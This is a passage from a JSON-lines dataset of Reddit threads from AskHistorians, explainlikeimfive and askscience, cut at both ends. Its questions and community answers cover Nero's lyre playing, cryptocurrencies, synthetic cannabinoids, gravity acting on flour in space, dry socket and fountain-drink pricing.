the portion that both exists and is now declassified. No FIOA request shows up, they don't have to do any of that. If they shred it before the FIOA request comes, well that's it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3jv11n", "title": "Was Nero any good with a lyre?", "selftext": "We all know he didn't fiddle as Rome burned, but he was known for playing the lyre. Was he any good at it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3jv11n/was_nero_any_good_with_a_lyre/", "answers": {"a_id": ["cusu5rk", "cuta9s6"], "score": [9, 2], "text": ["Suetonius tells us that he won the award for lyre-playing, but given that it was at an event that he established and called the Neronia, I think we have to assume that there may have been some political pressure on the judges (ex-consuls, Suetonius tells us). There are also other similar references -- his holding the Neronia again before the appointed time and being asked to perform personally -- again, we need to consider that this may not be an honest artistic opinion. Likewise, we shouldn't immediately assume that he was bad when Vindex called him a terrible lyre-player, since it is clear that he was attempting to ridicule Nero or goad him into behaving rashly during his rebellion, and so again, the insult is likely to be more about politics than music.\n\nSuetonius does make a passing mention of Nero's music being syndicated, more or less -- a collection of his music which Suetonius reports was called the \"Dominicus\" (or Lord's/Master's book) existed, such that it could be pulled out by a musician performing for Vitellius, who made a show of honouring Nero to legitimize his own rule as being an avenger of Nero, who was the last emperor from the original Claudian dynasty.", "I have a side question:  was the lyre a common instrument to play in Rome at the time?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6hz8os", "title": "why are there so many different cryptocurrencies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hz8os/eli5_why_are_there_so_many_different/", "answers": {"a_id": ["dj2aaz2", "dj2aq28", "dj2b4ci", "dj2dmwb", "dj2f9yp", "dj2g9sl"], "score": [21, 3, 73, 13, 2, 5], "text": ["Because there isn't a single one that is universally accepted or endorsed by any government. This means that each person and business can choose to use and accept the currency they want and are under no obligation to accept any of these currencies. \n\nSo the market is set up so that multiples currencies are able to compete with little incentive to unify under a single currency. ", "Most of these are open source.People like to tweak and try to improve things.\u00a0With open source currencies, you're bound to get iterations and families of similar currencies.", "For one thing, starting a new one that is just the same as an existing one with a different name takes almost no effort since they're all (I think, certainly most) open source.\n\nThen there are different motivations:\n\n* The get-rich-quick scheme: if you ran ran bitcoin mining on your home PC for a few weeks back when it just started, you'd be a millionaire today. So why not start a new one where you can be the very first miner, and hope it will somehow become popular?\n* Shits and giggles: Dogecoin.\n* It's a genuinely interesting and also very hyped concept, so many programmers want to experiment with it.\n* Some are serious attempts to add features or fix problems that Bitcoin can't address because it has to stay compatible with the existing Blockchain. Ethereum is probably the one with the most feature innovation.  ", "They have different purposes.\n\nBitcoin I suspect is the most reliable due to the large number of people depending on it to work correctly, so it will (or at least can) receive more scrutiny.\n\nBut if you're attempting to use Bitcoin like cash -- an anonymous currency -- it doesn't work. However, other coins like Monero are designed to use a public ledger in an anonymous way, so it can behave like cash. \n\nFor some micropayments, Bitcoin is already too expensive, even though you can go all the way down to just 1 satoshi, a fraction of a cent.  That fraction is too big.\n\nLast (that I can think of), you may want the value of your coin not to fluctuate with the whims of the global cryptocurrency market, but with something that is more stable, by linking it to a particular use of the coin.  So you get coin that is created for particular uses.\n\n", "Because there are many people who want to get really RICH! :)\n\nAnd also because it's an interesting concept and some people just want to try out new things (and get rich).", "Because everyone failed to get in on the ground floor with bitcoin, so they keep starting new ones hoping they'll take off, and they'll get rich.\n\nProblem with any cryptocurrency though, is that they have no intrinsic value. The only thing it's backed by is scarcity, and that's not much of a foundation. Certainly not enough of one to justify multiple successful cryptocurrencies.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4a6csj", "title": "how does one become funny or witty? is it just something you're born with?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a6csj/eli5_how_does_one_become_funny_or_witty_is_it/", "answers": {"a_id": ["d0xq5su", "d0xrdee", "d0xrsa7", "d0xt2sd", "d0xxkph", "d0xxxxs"], "score": [74, 2, 22, 20, 2, 4], "text": ["A lot of it has to do with the people you surround yourself with. It also has a lot to do with developing it on your own. You borrow silly things from tv and movies, and then, for me personally i use some of that as a template for the silly shit that comes out of my mouth. I also just let my mind wander. I will say this- some of the things i think are witty or funny are considered crass and ignorant. The thing with comedy and wit is that not everyone will find you funny. Russel brand is considered to be a comedian, and i personally think he is just a fuckass. Jim jefferies i feel is super funny, but i have friends who absolutely despise the mans jokes. As a nation, we all thought dane cook was funny, and then, overnight, we stopped caring. \nSo, in a shorter way to say it- anyone can be funny, some people have a better knack for it. Timing has a lot to do with it, and so does experience. Read your audience, be confident, and who knows? Maybe its maybelline. \n", "You kind of get the hang of it with time. My experience was that my brain would extrapolate how someone else came up with some kind of a witticism or joke. What you will see is that these people have a way of triggering a thought process from whatever is going on, that is somewhat of a different, and at times humorous, perspective. They just let their mind flow, and let it explore other connections to the current situation. Then there are some standard techniques - looking for a pun (don't do this please), or some absurdity in the current situation, or a related funny story you might have heard. You cultivate a skill of sort of doing this improv in your head, and presenting it in an interesting, funny way. Just watch the silly sitcoms, or read funny books, or listen to comics, and try to figure out how their brain (the writers) made the leap from the ordinary at point A, to something absurd or interesting at point B.\n\nYou will see that there are patterns. A way of letting your brain go off from things in the current moment.", "Brevity is the soul of wit, as Shakespeare wrote. The sharpest, wittiest people I have known share the same trait. Quickness or brevity. I worked with a woman who never smiled. Just a grumpy sort. We were walking out of a hotel once and there was a sign that said \"Psychic fair, 10 am, main banquet hall.\" I said to miss grumpy \"They really shouldn't need that, should they?\" We had never heard her laugh before, but I got her with that line. If I had been 10 seconds late with that, it wouldn't have worked. Timing, brevity. It takes practice. Sure, some people are naturals, but you can learn it, too.", "I think you can learn to be wittier and funnier, but I think people who are especially witty/funny start by being a bit more intelligent than average, and then are raised in an environment where humor helps them cope. Their brains become wired to see the humor in situations, and it becomes natural for them to know what will make others laugh. People without these attributes can learn some of the mechanics of humor. They can build a repertoire of funny responses and repeat them at appropriate times, but few will ever before known for their wit. \n\nI picked up a guitar at 30. I enjoy it and can play and sing along with a good number of songs, but I'll never be a great guitarist. I don't have a natural ability, and I started to late for me to really be wired for it. I think it's similar with humor. ", "It is equal parts timing, finding the right audience, admitting that mistakes and failure will happen, knowing how to analyse and learn from failure, and being able to stop and laugh at your self sometimes. \n\n\nComedy is subjective, like someone who loves chemistry would enjoy jokes like \"What did silver say to gold? AU!\" someone who has a darker side would enjoy dark jokes like \"What do you call a dog with no legs? Doesn't matter, he won't come.\"\n\n Things like comedic timing and a natural sense of humor can happen, but they can also be learned.", "I have three words:\n\nTrial and error.\n\nActually, no, four words:\n\nConstant trial and error.\n\nDisclaimer: I'm not witty. I mean, I *try* to be, and I even *succeed* sometimes (this is a rare occurrence), but I'd say it would be more closely tied to trial and error than anything.\n\nIn that way, I guess it's like literally every other aspect of social interaction. Painstaking trial and error."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "ajaswh", "title": "had other animals use plants with medicinal properties?", "selftext": "Just had this wild thought that maybe animals can recognize their state after consuming a kind of plant that can make them feel better.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajaswh/eli5_had_other_animals_use_plants_with_medicinal/", "answers": {"a_id": ["eeu0sci", "eeu1ok6", "eeu31d7"], "score": [5, 9, 3], "text": ["This have been observed a lot of times but is rather hard to study. For example cats and dogs may eat grass to help their digestion system out with fibers. We also tend to see moose and deer prefer apples on the ground rather then those still in the trees which can make them quite visibly drunk.", "Some chimpanzees have been observed to consume plants that have an effect on digestion, and they only do so when they have indigestion. This would indicate that the answer is \"yes\".  \n\nAs an aside, lots of animals have been observed getting drunk after consuming fermented fruit. It is unknown if this is intentional or not.", "Dolphins will get hig off jellyfish and pass them off to each other. I've seen videos of ringtailed lemurs chewing centipedes open because it was filled with venom. They'd rub it all over themselves to get high"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dq0lr8", "title": "we know that eyesight can deteriorate for various reasons. is it possible for it to naturally improve as opposed to deteriorate over time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dq0lr8/eli5_we_know_that_eyesight_can_deteriorate_for/", "answers": {"a_id": ["f5zw8m7"], "score": [5], "text": ["I can't speak to most forms of eye deterioration, but medicine-induced vision loss can be reversible. This is only a small fraction of people with vision impairments, but it definitely is at least one case in which vision naturally improves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rwgc9", "title": "If an astronaut in the vacuum of space released a bag of flour, would the powder stick onto him/her?", "selftext": "You know...due to gravitational pull, since the human body (and the space suit) would proportionally weight a lot more than a speck of flour.  This is also assuming there are no nearby objects with a greater gravitational pull.\n\nEdit: Wow, thanks for the detailed answers.\n\nEdit 2:  I was thinking more along the lines of if static, initial velocity from opening a bag of flour and so on were not a factor.  Simply a heavy object weighing 200ish pounds (human body with suit) and a flour specks with no initial momentum or velocity.  It is good to know gravity is a very weak force though.  Thank you all. :)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rwgc9/if_an_astronaut_in_the_vacuum_of_space_released_a/", "answers": {"a_id": ["c497k25", "c497k8m", "c497l08", "c497llw", "c4988pn", "c498tqa", "c499pcl", "c49b4ot"], "score": [12, 18, 62, 4, 401, 93, 6, 9], "text": ["Gravitational force is calculated via\n\nF=(Gm1m2)/r^2\n\nNote that this is a function of both masses and that G, the gravitational constant, is 6x10^-11 N(m/kg) which means the attraction will be quite small.  That being said it would still exist and all particles that didn't have an initial velocity greater than their escape velocity would be trapped in the astronaut's sphere of gravitational influence.", "Gravity is a relatively weak force. The acceleration due to gravity between the astronaut and the flour would be negligible, and would be practically unobservable.", "If the flour starts out not moving, then eventually it would, but it would take an extremely long time. However, the escape velocity (\u221a(2Gm/r)), assuming a 80 kg astronaut at a distance of 50 cm is only 1.46\u00d710^-4 m/s. If the flour had any speed at all from the opening of the bag, it would escape the astronaut's gravitational pull.\n\nEdit: This only considers gravity", "Maybe, if you wait a really, really long time, and only if the flour had no initial velocity in respect to the astronaut. You can calculate it using Newton's law of universal gravitiation, which is expressed as F=(Gm1m2)/r^2\nIf you input 150 lbs (standard human) as m1, and 1x10^-4 lbs (really rough guess of what a flour speck would weigh) for m2, at a distance of 1 meter, the two would exert 2.06x10^-13 newtons on one-another - about 4.5x10^-9 m/s^2 in acceleration. \n\nSo, technically, yes, a speck of flour will eventually hit the astronaut. Once it makes contact, intermolecular forces would probably make it stick stronger than gravitation force. In a perfect system though, with no intermolecular forces and no other gravitational influences, the flour would stick to the body.", "Intermolecular forces like electrostatic attraction and Van der Waals forces would be much much more significant than gravity for these small particles. In fact, the first dust bunnies that started coalescing when the solar system formed and would eventually become planets were first attracted by these weak forces, not gravity. ", "Electrostatic forces pulling sugar particles together in space.\n[Astronaut experiment footage](_URL_0_)\n\nThis is a cool video that is kind of relevant to what some of the commenters have been saying.\n\nThe particles start sticking together, but it doesn't have to do with gravity.   Would the same thing happen with no air?    I assume that these agglomerate masses would be attracted to the space suit as well.", "electrostatic forces will make the particles cling to each other and form clumps in a relatively short amount of time (5-10 minutes). With smaller particles like flour you might see clumps, but what's interesting is that with slightly larger particles like sand, you'll actually see chains:) Classical physics regards small particles as electrostatic mono-poles, when in fact they accumulate electrons unevenly, which means there are actually areas of higher and lower charge.", "[Here's a partially relevant video](_URL_0_).\n\nPart of the Saturday Morning Science that astronaut Dr. Don Pettit would do in his free time aboard the ISS. This particular bit uses salt (NaCl) or sugar in a bag, not flour."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.youtube.com/watch?v=b-7SmKvFepQ"], [], ["http://www.youtube.com/watch?v=jXYlrw2JQwo&amp;feature=player_detailpage#t=2095s"]]}
{"q_id": "njswy", "title": "Red hot ice cube. Can someone explain to me what sorcery is at work here?", "selftext": "What on earth is going on [here](_URL_0_)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/njswy/red_hot_ice_cube_can_someone_explain_to_me_what/", "answers": {"a_id": ["c39net4", "c39netb", "c39p6df", "c39q85b", "c39net4", "c39netb", "c39p6df", "c39q85b"], "score": [60, 145, 134, 4, 60, 145, 134, 4], "text": ["There is a piece of metal ~~in the middle of~~ somewhere in the cube.  \n\nManufactures like inductive heating because it disproportionately affects metal more than other compounds. It can also be very localized. This lets you do things like melt a specific spot on a pipe the needs to be bent, or vaporize a piece of metal inside a sealed glass container. \n\nEdit: See  [Dark Frog's Comment](_URL_0_) for a more clear video. ", "That block of ice would explode long before it managed to get red hot.  You're probably seeing the red glow of hot metal reflected and transmitted through the ice.", "The first video [here](_URL_0_) clearly shows a large chunk of metal inside the frozen cube.", "magnets, magnets, magnets,....\n\n\nno seriously its heating by electromagnetic induction....", "There is a piece of metal ~~in the middle of~~ somewhere in the cube.  \n\nManufactures like inductive heating because it disproportionately affects metal more than other compounds. It can also be very localized. This lets you do things like melt a specific spot on a pipe the needs to be bent, or vaporize a piece of metal inside a sealed glass container. \n\nEdit: See  [Dark Frog's Comment](_URL_0_) for a more clear video. ", "That block of ice would explode long before it managed to get red hot.  You're probably seeing the red glow of hot metal reflected and transmitted through the ice.", "The first video [here](_URL_0_) clearly shows a large chunk of metal inside the frozen cube.", "magnets, magnets, magnets,....\n\n\nno seriously its heating by electromagnetic induction...."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=aLwaPP9cxT4"], "answers_urls": [["http://www.reddit.com/r/askscience/comments/njswy/red_hot_ice_cube_can_someone_explain_to_me_what/c39p6df"], [], ["http://www.huettinger.com/en/about-us/multimedia.html"], [], ["http://www.reddit.com/r/askscience/comments/njswy/red_hot_ice_cube_can_someone_explain_to_me_what/c39p6df"], [], ["http://www.huettinger.com/en/about-us/multimedia.html"], []]}
{"q_id": "7xo120", "title": "does the amount of time a drug is in your system correlate with the severity of the drug\u2019s withdrawal symptoms?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7xo120/eli5_does_the_amount_of_time_a_drug_is_in_your/", "answers": {"a_id": ["du9vrac", "dua73rr"], "score": [6, 2], "text": ["I can\u2019t speak for all drugs, but yes, that\u2019s true of some drugs. For example, it\u2019s been seen in the class of drugs known as SSRIs\u2014 a class of antidepressants, like Prozac, Paxil, Zoloft, Lexapro, Celexa, etc. When the first of these, Prozac, came out, it was said to be non-addictive and have no withdrawal issues. But when others came out, notably Zoloft, it was found to have many withdrawal effects. Turns out Prozac has a long half-life so there was a gradual taper when stopped cold turkey and minimal problems. Zoloft has a short half-life, so people started having major problems when they quit cold turkey. At first the medical establishment said these couldn\u2019t be withdrawal symptoms, but later acknowledged them.", "I know for opiates they last a good while in your system.. and just so happens the worst duration of the withdrawal is about the same time they can stay in your system being detected for... but they also have post acute withdrawal symptoms that can last up to a year"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "uedfb", "title": "k2 and spice (synthetic marijuana)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/uedfb/eli5_k2_and_spice_synthetic_marijuana/", "answers": {"a_id": ["c4undiy", "c4unxwp", "c4uny53", "c4uo883", "c4uo9dv", "c4uocmc", "c4uonqy", "c4upot1"], "score": [3, 9, 34, 6, 5, 6, 5, 2], "text": ["What exactly is it that you want explained about it?", "All I can tell you is there are several synthetic canabinoid drugs. They are manufactured abroad, often in china, and sent to the US or wherever in powder form. The powder is then applied to whatever innocuous plant the individual chooses then bagged and sold. ", "Son, don't smoke that shit.", "So you like orange juice, it's your favorite drink of all time. But suddenly mom stops by orange juice. She says its bad for you and she isn't going to buy it anymore. Well what the heck can you do? You really like orange juice, but you're mom wont get it any more and she will not allow it in the house....Here's a good plan, you and a few of the other boys round up about 3 bucks and go buy some Tang (instant orange-ish juice). Now this Tang is kinda like orange juice, it tastes similar enough and refreshes you close enough. When your mom sees it, she doesn't get mad because technically it isn't orange juice.  \n  \nThe spice stuff is basically the same thing as organic THC, just changed slightly (chemically speaking). It will still give you, kinda, the same high and effects. It's not dead on the same stuff, not nearly as safe, and can lead to some mental issues.  \n  \nI've tried it a handful of times, the benefits of it is you can buy it at any gas station, most places it's legal (check local law, some places it is also extreme illegal to attempt to smoke it), and if you get drug tested it will not show up.", "I smoked K2 a lot last summer, it's pretty intense compared to Marijuana. For me it felt like I there was an enormous amount of atmospheric pressure pushing me into the floor, not fun. The last time I smoked it, I became totally disconnected from reality for a couple hours (from what I remember) with repetitive Deja Vu. It's hard to explain...Anyway, my friends were driving me to the hospital when I started coming out. According to them I was 100% unresponsive. After that I was throwing up for the next 12 hours. I didn't mentally recover for 48 hours, my brain was absolutely fried.", "Most psuedo-marijuana compounds like K2 and Spice incorporate drugs that produce effects extremely similar to THC, but aren't actually THC. The one that comes to mind is a chemical called JWH-018 which was popular for a long time in synthetics. It produced effects just like THC and gave people a \"high\". \n\nEssentially these pot-knockoffs like K2 are just a chemical like JWH-018 mixed with a buffer agent to make it look like marijuana and to make it easy to smoke.", "[biokem](_URL_1_) already gave a good analogy for why people make/buy it, so I'll explain some of the chemistry. \n\nThere are several different chemicals that mimic the effects of THC. We call these cannabinoids (named after cannabis). The brain has two types of cannabinoid receptors, CB1 and CB2. Different cannabinoids more strongly affect one receptor than the other. \n\nTHC, the primary chemical in marijuana, is a cannabinoid, but it's only one of several chemicals in marijuana that give the \"high\" that most people who smoke recreationally are looking for. \n\nThese \"synthetic marijuana\" blends seek to mimic the high of marijuana without actually containing THC. They use synthesized chemicals such as the JWH series, the HU series, or the CP series. There are several varieties of each, so they usually wind up with names like JWH-018, JWH-250, HU-210, CP-47,497 and so on. Individually, these chemicals affect the CB1 and CB2 receptors differently than THC, so most \"synthetic marijuanas\" contain blends of several of these chemicals in an attempt to more closely resemble THC.\n\nHowever, the chemicals aren't very well researched, so it is very hard to know which receptor (CB1 or CB2) that these chemicals affect most strongly.  Because of this, none of the blends have quite the same high as THC.\n\nAlso, some of these chemicals have very different pharmacological effects than THC. There is quite a bit of anecdotal evidence that suggests that overdosing on these synthetic cannabinoids is possible, giving people paranoia, panic attacks, or even heart problems. Again, there is very little actual research on these chemicals, so it's hard to say how common this is or what exactly is causing it. This is why most people will say to stay away from these synthetics.\n\nThe reason they're sold as \"incense\" is due to the [Federal Analogue Act](_URL_0_), which forbids selling (for human consumption) any chemicals similar to scheduled substances. In this case, selling synthetic marijuana as a smokable drug would make it an analog of marijuana, a schedule I controlled substance.\n\nFurthermore, a lot of states in the US have made these synthetic cannabinoids illegal in recent years, so now, many of these \"Spice\" blends don't even do what they once did; some are just plant blends without added chemicals, which produce effects that are nothing like THC if they produce any effects at all.\n\nEdit: Reading over this, I realize it's probably a little too in-depth, but it's kind of hard to explain neurochemistry and pharmacology in simple terms :\\", "[Pretty good Wired article from just yesterday on the subject, for further reading.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Federal_Analog_Act", "http://www.reddit.com/r/explainlikeimfive/comments/uedfb/eli5_k2_and_spice_synthetic_marijuana/c4uo883"], ["http://www.wired.com/wiredscience/2012/05/synthetic-drug-war/"]]}
{"q_id": "1y6vqd", "title": "What happens to meat if it is heated in the absence of oxygen?", "selftext": "Is there anything special? Does it still cook?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1y6vqd/what_happens_to_meat_if_it_is_heated_in_the/", "answers": {"a_id": ["cfi06c7", "cfi1d64", "cfi1gw4"], "score": [12, 8, 8], "text": ["The cooking of meat doesn't occur via combustion. Instead the proteins (and some other biomolecules) that make up are denatured. This basically means that they are twisted and contorted out of their original shapes. There are probably a few reactions that occur on the surface, but the main factor is the proteins being denatured. This is a process that does not require oxygen and so it still happens and the meat should still cook. ", "This is the basic idea behind sous vide (under vacuum) cooking. Obviously it's not a perfect vacuum, but it's pretty close. It just cooks the meat evenly to whatever temperature (rarity) you set it to. Need to brown it in a pan, or with a torch if you want it to look and taste more like a traditional steak though.", "There is a method of cooking developed in 1960's by American and French engineers called Sous-vide, or 'under vacuum' in French. This method, consisting of sealing meat in plastic bags under vacuum and cooking them in water set to a precise temperature, allows the food to be cooked more evenly and remain juicier so, if meat is heated in the absence of oxygen using this method, it cooks. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ee7o9n", "title": "how do football players / soccer stars not get grass burns after sliding across the field when celebrating a goal", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ee7o9n/eli5_how_do_football_players_soccer_stars_not_get/", "answers": {"a_id": ["fbr6ma8", "fbse91p"], "score": [262, 2], "text": ["A lot of the stadiums in the Premier League (UK) water their pitches (fields) very heavily so it's much easier to slide across the grass.\n\nA lot of the fields that \"normal\" people play on are much dryer meaning more friction so much more chance of getting a grass burn", "Because the pitches are kept in mint condition.\n\nIt's only when the weather is too hot and the pitch isn't watered that you get burns. This obs doesn't happen on professional pitches but in school and local parks where they don't take so much can the ground will be hard and you'll get grass burns if you slide."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4oj3xo", "title": "what transforms otherwise normal people into \"criminals\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4oj3xo/eli5_what_transforms_otherwise_normal_people_into/", "answers": {"a_id": ["d4cyl83", "d4cymbg"], "score": [2, 2], "text": ["Money, desperation, boredom, hate. Different reasons for everyone. When you realize that it's actually pretty difficult to get caught most of the time, a lot of criminals realize as long as they don't hurt anyone else, they don't have moral issues with it.", "Well... the most direct answer is that you become a criminal when you commit a crime.\n\nBut the deeper answer is... it depends.\n\nSome are doing it out of desperation, others out of greed, others out of rage... sadism... or some other misplaced emotion.  There isn't really a simple answer to the question \"what pushes someone to commit a crime\" as everyone has their own reasons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9nhqv6", "title": "What is the \"resolution\" of our hearing?", "selftext": "Hello! I was thinking that if there is some background noise at some X dB, then what would the sound level have to be in order for a sound to be just barely audible? Also, does this limit depend on the frequency of the sound, and if so, in what way?\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9nhqv6/what_is_the_resolution_of_our_hearing/", "answers": {"a_id": ["e7mh6r9", "e7mjwkw", "e7mw3r3"], "score": [3, 8, 3], "text": ["Let's say that the noise is at x dB.. you can still hear other sounds. Say you are in front of a speaker that's playing a song in high volume, you can still hear a glass breaking.  As long as the frequencies of both sounds is not very close you can hear it.  Whether you can notice it is a different matter. When loud sound is heard continuosly the brain stops registering it even when your ears can hear them. It's the same way that you don't notice the touch sensation of the clothes you're wearing. You can still feel them if you concentrate but your brain ignores this sensation unless the pressure of the touch changes.(like when something touches your back)", "I have an audio test CD and it was ear opening. It has well designed test tones. One group was a two tone wobble wave. A reference tone combined with a test tone at decreasing volume.\n\nModern recording talk about 16 or even 24 bit recording. Audio equipment touts about 90dB+ dynamic range. I was happy to know that my ears crap out at -50dB at best when the reference tone is at louder than normal listening level. And that nothing over 16khz was audible to me. I can finally take comfort in knowing that CD quality is too good for me and audiophile equipment would be a waste. \n\nThe appearant loudness is certainly related to frequency. The study of human preception of sound is called Psychoacoustics. In fact, it peaks around 4kHz, the pitch of Wilhelm scream and baby crying. You can find the plot in Wikipedia.\n\nBut to answer your question, the resolution varies from person to person. Audio format and equipment spec may give you some clue. CD recording is 16bits and that's 96dB worth of dynamic range. High end audio equipment has snr+thd in the 90dB+ range. That is probably on the upper bound of human preception. Sure there are some super human and kids our there who can hear dog whistles, but these specs are probably over design for the vast majority of the typical audience. ", "This has been well-characterized for the detectability of pure tones in silence, and it is indeed a function of frequency. An [equal-loudness contour](_URL_3_) of the just-audible threshold would indicate this, but your question about a just barely noticeable target sound in background noise is slightly different.\n\nBackground noise can increase those thresholds, unsurprisingly, and it does depend on the frequencies of each sound. The idea that background sounds can decrease our ability to detect a sound is known among hearing experts as [frequency masking](_URL_2_), and it is usually measured by how many dB SPL the threshold is raised given the noise; that is, how much louder does the target need to be in order to be heard?\n\nThere isn't one answer to your question, as even in the simplest case the amount of masking depends on the loudness of the noise, the frequency of the noise (and whether it is a pure tone, white noise of some band, e.g., 200Hz-2kHz or some other range, or more complex natural sounds), and the frequency of the target sound. Suffice it to say that, because the auditory system has separate processing channels in the ear for different frequency bands (called [critical bands](_URL_1_)), if noise is of similar frequency to the target, it can severely impair detection threshold for the sound. Even sounds outside the same critical frequency band can at times mask through more complicated neural mechanisms.\n\n & #x200B;\n\nTL;DR: Background noise raises the threshold of hearing signals, that does depend on the frequency of each, and in a complex way. [This chart](_URL_0_) is an example of masking for noise/signal of various frequencies. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Auditory_masking#/media/File:Maskingpatterns_sp11.jpg", "https://en.wikipedia.org/wiki/Critical_band", "https://en.wikipedia.org/wiki/Auditory_masking#Simultaneous_masking", "https://en.wikipedia.org/wiki/Equal-loudness_contour#Relevance_to_sound_level_measurement_and_noise_measurement"]]}
{"q_id": "bs9ebh", "title": "why can\u2019t you suck on a straw after tooth extraction?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bs9ebh/eli5_why_cant_you_suck_on_a_straw_after_tooth/", "answers": {"a_id": ["eokd7wv", "eokdoyh", "eol5jww"], "score": [5, 42, 2], "text": ["The force of the suction could injure the tooth socket, because it's in a very delicate state until it has an opportunity to heal.", "The force of the suction could easily remove the clot from the extraction socket exposing the bone which would leave you open to infection but more importantly it could cause post-extraction alveolitis, aka \u201ddry socket.\u201d \n\nDry socket was by far the worst pain I have ever felt, and I've been ran over with shattered ribs.", "I threw some wet cotton balls over my holes and smoked the whole time I was recovering. No dry socket."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bmx8xu", "title": "(united states): what are interest groups, and how does one go about joining them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bmx8xu/eli5_united_states_what_are_interest_groups_and/", "answers": {"a_id": ["en0c0s3"], "score": [2], "text": ["An interest group is a group of people that all have the same idea for what laws should be made. The group wants the government to listen to them and then make their idea into a law. An example would be the NRA pushing for more laws on gun accessibility and protecting those with guns.\n\nJoining them depends. The larger ones, you can usually join on the internet. If it is a local one, then you will have to pursue that. Joining usually involves a yearly membership fee."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6cp08v", "title": "the business model of \"all drink sizes are the same price\".", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6cp08v/eli5_the_business_model_of_all_drink_sizes_are/", "answers": {"a_id": ["dhw9uph", "dhw9xun", "dhwa0bz", "dhweymm", "dhwfdw7", "dhwftlo", "dhwhy9j", "dhxckgz"], "score": [7, 48, 7, 5, 2, 52, 9, 2], "text": ["In restaurants fountain soda options tend to be very high profit items with little difference in cost between the various options.  So the business model is, try just about anything to convince them to get a drink along with the lower margin food items they're here to get.  ", "Fountain drinks are cheap.  Really cheap.  That cup probably costs more than the drink you're putting in it.\n\nRestaurants get enormous profit margins on drinks whether you're drinking from a 10oz cup or a 64oz slop bucket.\n\nThey tinker with pricing a lot to try and lure in customers.  Pretending like they're giving you some great deal selling you $0.03 of Coke syrup for $1.49 is one of them.", "The \"Free Refills\" model?  This is usually done for low-cost drinks such as soda or non-specialty coffee.  The price is usually set high enough so that the customer would have to drink an unreasonable amount for the restaurant to lose money.  The larger profit is made on other items on the menu (food, desssert).  Free Refills creates a positive dining experience for the customer, and they'll be more likely to come back.", "In 2009 Newsweek estimated that a chain like McDonalds paid 0.000052 dollars per 8 ounce (236 ml) Coke\n\nThat they charge a dollar for.\n\n_URL_0_\n\n\"The concentrate for 70 percent of Coca-Cola's 1.5 billion drinks served each day originates in the tax haven of Ireland, where enough concentrate for 50,000 Cokes costs $2.60\u2014including labor. The concentrate's main ingredient? Caramel.\"\n\nNow the actual cost is going to be higher due to packaging, transport, labor in shipping and setup, cost of the dispenser and so on. So maybe half a cent per 8 ounce of syrup. ", "The drink costs almost nothing. Getting the customer in the door is the expensive part. If giving them a few pennies worth of drinks will draw them in there, do it. ", "Several comments touch on the foundation of this practice, but no one has really answered your question. \n\nThe most common answer is *Fountain drinks are really cheap!* And, while that's true, it doesn't explain why all sizes are offered at the same price. It only shows that the business is making a profit, no matter which size you choose. In other words, no one has explained why cutting the profit margin actually helps the business.\n\nTo demonstrate, let's suppose that our restaurant starts off with drinks prices as follows:\n\nSmall: $1, Medium: $1.50, Large: $2.00.\n\nClearly, if the cost of the soda is super-cheap, then the restaurant makes the most money on the large drink. So, why undercut their own profit by offering the large drink for only $1?\n\nIt's because a customer can go anywhere to get an overpriced soft drink. All of your competitors are charging about the same price for a large drink. The thing is, this tactic doesn't bring any new business. It only ensures that your repeat customers are paying a premium to drink a large soda. In order to draw new customers, you need to give them an incentive to come into your store. \n\nSo, here's the long-term strategy. Price all the soda sizes for $1. Yeah, you are going to lose a bit of revenue in the short term. But the plan is to get new faces in your store. Some of these customers will become regular visitors. Over time, they will generate enough sales to make up for the lost revenue. You should start seeing an uptick in customer orders. ", "Back in college, I used to work the graveyard shift in a gas station/convenience store in the middle of nowhere. (And never once was robbed or had any incident that required a police 